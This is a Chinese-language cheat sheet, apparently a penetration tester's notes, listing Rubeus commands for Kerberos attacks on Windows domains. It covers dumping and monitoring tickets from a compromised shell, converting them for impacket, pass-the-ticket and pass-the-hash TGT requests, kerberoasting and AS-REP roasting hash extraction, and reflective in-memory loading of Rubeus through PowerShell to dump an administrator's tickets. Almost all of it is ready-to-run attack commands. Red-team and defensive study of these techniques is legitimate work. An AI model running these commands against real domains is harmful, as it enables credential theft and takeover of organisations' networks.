Rubeus 命令总结

囊空恐羞涩，留得一钱看。

0、前言

Rubeus 是一个专注于原始 Kerberos 交互和滥用的工具，虽然其命令复杂且使用体验远不如 impacket 工具集，但在域渗透中它仍是一个不可或缺的工具【尤其是它的票据提取功能】。这是因为在使用 impacket 等远程利用工具的前提是需要先拥有一个域用户凭据或票据，而更多时候我们可能只是取得了目标网络某台域主机的 shell，却并不能够知晓当前用户的密码，这大大限制了使用 impacket 等远程工具对域进行枚举。

而为了应对这种情况，我们可以借助 Rubeus 的票据提取功能，先导出当前 shell 中的用户票据，然后再对票据进行 kirbir 转 ccache 处理，最后就可以提供给 impacket 等工具进行使用了。【注：也可以使用该票据去创建一个机器账户，这样便有了一个用户凭证。】

注：在域渗透中，支持票据认证的远程枚举工具：impacket、nxc、pywerview。

1、票据管理

#（1）导入票据【注：票据被导入到了内存中，故所有 cmd 会话均可使用该票据。】
Rubeus.exe ptt /ticket:user.kirbi

#（2）列出票据
Rubeus.exe klist

#（3）以表格的方式列出票据
Rubeus.exe triage

#（4）清理票据【注：清理命令执行之后，并不会立马就生效，还需要等 1 分钟左右票据才会失效。】
Rubeus.exe purge

#（5）查看票据详情
Rubeus.exe describe /ticket:user.kirbi

#（6）票据续期【注：续期旧票据之前，必须确保旧票据还在有效期内，否则无法成功。同时，如果票据还没快到期，那么这条命令是不会产生续期动作的。】
Rubeus.exe renew /ticket:test.kirbi /outfile:test.kirbi

2、票据提取

#（1）转储当前登录会话缓存中的票据【注：这里边的 TGT 票据可能会不成功，但 cifs 票据多试几次似乎可以成功。应用过程与下面一样。】
Rubeus.exe dump /nowrap >ticket.txt

#（2）转储当前登录会话缓存中有效的票据
Rubeus.exe tgtdeleg /nowrap >ticket.txt

#应用过程
echo -n 'ticket.kirbi 的 base64 字串' | base64 -d - > user.kirbi

impacket-ticketConverter user.kirbi user.ccache

impacket-net -k -no-pass -dc-ip 192.168.56.50 -target-ip 192.168.56.50 test@dc2012.skylark.com user -name admin

#（3）票据监听捕获【注：需要拥有本地管理员级别的权限才能够运行，它可以实时监测本机有关票据请求的情况，当目标机器存在非约束委派时，该命令很有效。】
Rubeus.exe monitor /interval:5 /nowrap

#应用捕获票据的过程和上面一样。

TGT 票据和 TGS 票据的辨别：TGT 的 ServiceName 值的格式是 krbtgt/SKYLARK.COM 的，而 TGS 的 ServiceName 值的格式是 cifs/dc2012.skylark.com 的。

3、票据请求

#（1）以账户密码的方式请求 TGT 票据，并导入到当前会话
Rubeus.exe asktgt /user:test /password:password@123 /outfile:test.kirbi /ptt /nowrap

#（2）以密码哈希的方式请求 TGT 票据
Rubeus.exe asktgt /user:test /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt

#（3）请求 TGS 票据步骤如下：
#（3.1）首先，生成一张 TGT 票据
Rubeus.exe asktgt /user:test /password:password@123 /outfile:test-tgt.kirbi /nowrap
#（3.2）然后，拿着上面生成的 TGT 票据去请求 rc4 加密算法的 TGS 票据。
Rubeus.exe asktgs /ticket:test-tgt.kirbi  /service:LDAP/dc2012.skylark.com,cifs/dc2012.skylark.com /ptt /enctype:rc4 /outfile:test-tgs.kirbi

4、委派滥用

待定...

5、烘烤攻击

#（1）查看可 kerberoast 的用户数量
Rubeus.exe kerberoast /stats

#（2）导出可 kerberoast 的哈希【注册 SPN 的用户】
Rubeus.exe kerberoast /outfile:hashes.txt

#（3）导出可 asreproast 的哈希【关闭预认证的用户】
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

6、杂项

#（1）创建一个新的cmd 窗口，并为其注入票据【未成功】
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show /ticket:user.kirbi

#（2）计算 RC4 格式的密码哈希
Rubeus.exe hash /password:Password123!

#（3）计算多种加密格式的密码哈希
Rubeus.exe hash /password:Password123! /user:user /domain:skylark.com

PowerShell 下关于 Rubeus 的别样调用方式：

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe")) | Out-File -Encoding ASCII C:\Temp\rubeus.txt

$RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

[Rubeus.Program]::Main("dump /user:administrator".Split())

导航​

0、前言​

1、票据管理​

2、票据提取​

3、票据请求​

4、委派滥用​

5、烘烤攻击​

6、杂项​

导航